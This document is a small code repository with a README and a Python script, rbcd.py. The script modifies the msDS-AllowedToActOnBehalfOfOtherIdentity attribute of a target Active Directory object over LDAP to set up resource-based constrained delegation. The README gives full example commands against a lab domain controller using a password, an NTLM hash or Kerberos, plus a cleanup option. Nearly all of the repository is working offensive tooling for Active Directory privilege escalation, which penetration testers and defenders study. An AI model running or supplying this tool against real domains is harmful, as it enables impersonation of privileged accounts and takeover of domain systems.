├── README.md └── rbcd.py /README.md: -------------------------------------------------------------------------------- 1 | ## Depricated in favor of Impacket implementation 2 | 3 | https://github.com/SecureAuthCorp/impacket/pull/1108 4 | 5 | # rbcd_permissions 6 | Add SD for controlled computer object to a target object for resource-base constrained delegation (RBCD) using LDAP 7 | ``` 8 | optional arguments: 9 | -h, --help show this help message and exit 10 | -u USERNAME, --username USERNAME 11 | username for LDAP 12 | -p PASSWORD, --password PASSWORD 13 | password for LDAP 14 | -H HASH, --hash HASH LM:NT hash for LDAP 15 | -k, --kerberos Kerberos Auth GSSAPI 16 | -d DOMAIN, --domain DOMAIN 17 | LDAP server/domain 18 | -t TARGETDN, --targetDn TARGETDN 19 | Target distinguishedName (Example: "CN=DC1,OU=Domain Controllers,DC=lab,DC=local") 20 | -c CONTRDN, --contrDn CONTRDN 21 | Controlled computer distingushedName to add to msDS-AllowedToActOnBehalfOfOtherIdentity attribute 22 | -l LDAPSERVER, --ldapserver LDAPSERVER 23 | LDAP server, in case it cant resolve 24 | --cleanup Delete msDS-AllowedToActOnBehalfOfOtherIdentity value 25 | ``` 26 | 27 | Supports NTLM hash, kerberos and password auth. 28 | 29 | ## Password 30 | ``` 31 | python3 rbcd.py -t 'CN=DC1,OU=Domain Controllers,DC=lab,DC=local' -d lab.local -c CN=Server1,CN=Computers,DC=lab,DC=local -u administrator -p Password1 -l dc1.lab.local 32 | Successfully added permissions! 33 | ``` 34 | 35 | ## Kerberos 36 | ``` 37 | python3 rbcd.py -t 'CN=DC1,OU=Domain Controllers,DC=lab,DC=local' -d lab.local -c CN=Server1,CN=Computers,DC=lab,DC=local -k -l dc1.lab.local 38 | Successfully added permissions! 39 | ``` 40 | 41 | ## Cleanup 42 | ``` 43 | python3 rbcd.py -t 'CN=DC1,OU=Domain Controllers,DC=lab,DC=local' -d lab.local -c CN=Server1,CN=Computers,DC=lab,DC=local -u administrator -p Password1 -l dc1.lab.local --cleanup 44 | Successfully cleaned up! 45 | ``` 46 | -------------------------------------------------------------------------------- /rbcd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from ldap3 import ALL, Server, Connection, MODIFY_REPLACE, NTLM, MODIFY_DELETE, SASL, KERBEROS 3 | from binascii import unhexlify 4 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR 5 | import argparse 6 | 7 | parser = argparse.ArgumentParser(description='Set SD for controlled computer object to a target object for RBCD') 8 | parser.add_argument('-u','--username', help='username for LDAP', required=False) 9 | group = parser.add_mutually_exclusive_group(required=True) 10 | group.add_argument('-p','--password', help='password for LDAP') 11 | group.add_argument('-H','--hash', help='LM:NT hash for LDAP') 12 | group.add_argument('-k', '--kerberos', help='Kerberos Auth GSSAPI',action='store_true') 13 | parser.add_argument('-d','--domain', help='LDAP server/domain', required=True) 14 | parser.add_argument('-t','--targetDn', help='Target distinguishedName (Example: "CN=DC1,OU=Domain Controllers,DC=lab,DC=local")', required=True) 15 | parser.add_argument('-c','--contrDn', help='Controlled computer distingushedName to add to msDS-AllowedToActOnBehalfOfOtherIdentity attribute', required=True) 16 | parser.add_argument('-l','--ldapserver', help='LDAP server, in case it cant resolve', required=False) 17 | parser.add_argument('--cleanup', help='Delete msDS-AllowedToActOnBehalfOfOtherIdentity value',action='store_true', required=False) 18 | 19 | 20 | def main(): 21 | args = parser.parse_args() 22 | if (args.ldapserver): 23 | server = args.ldapserver 24 | else: 25 | server = args.domain 26 | 27 | username = "{}\\{}".format(args.domain, args.username) 28 | s = Server(server, get_info=ALL) 29 | if (args.password): 30 | conn = Connection(s, user=username, password=args.password, authentication=NTLM, auto_bind=True) 31 | elif (args.hash): 32 | conn = Connection(s, user=username, password=args.hash, authentication=NTLM, auto_bind=True) 33 | elif (args.kerberos): 34 | if not (args.ldapserver): 35 | print("Error: Specify DC for ldapserver argument") 36 | exit() 37 | else: 38 | conn = Connection(s, sasl_credentials=(args.ldapserver,), authentication=SASL, sasl_mechanism=KERBEROS, auto_bind=True) 39 | 40 | conn.search(args.contrDn,"(objectClass=Computer)",attributes=['objectSID']) 41 | contrSid = conn.entries[0]['objectSID'].raw_values[0] 42 | 43 | #SD full value with removed SID 44 | sd_bytes = unhexlify(b'010004804000000000000000000000001400000004002c000100000000002400ff010f000000000000000000000000000000000000000000000000000000000001020000000000052000000020020000') 45 | sd = SR_SECURITY_DESCRIPTOR(data=sd_bytes) 46 | sd['Dacl'].aces[0].fields['Ace'].fields['Sid'].setData(contrSid) 47 | 48 | if (args.cleanup == True): 49 | if(conn.modify(args.targetDn,{'msDS-AllowedToActOnBehalfOfOtherIdentity':[MODIFY_DELETE, []]})): 50 | print("Successfully cleaned up!") 51 | else: 52 | print("An error was encountered, D:") 53 | else: 54 | if (conn.modify(args.targetDn,{'msDS-AllowedToActOnBehalfOfOtherIdentity':[MODIFY_REPLACE, sd.getData()]})): 55 | print("Successfully added permissions!") 56 | else: 57 | print("An error was encountered, D:") 58 | 59 | 60 | if __name__ == "__main__": 61 | main() 62 | --------------------------------------------------------------------------------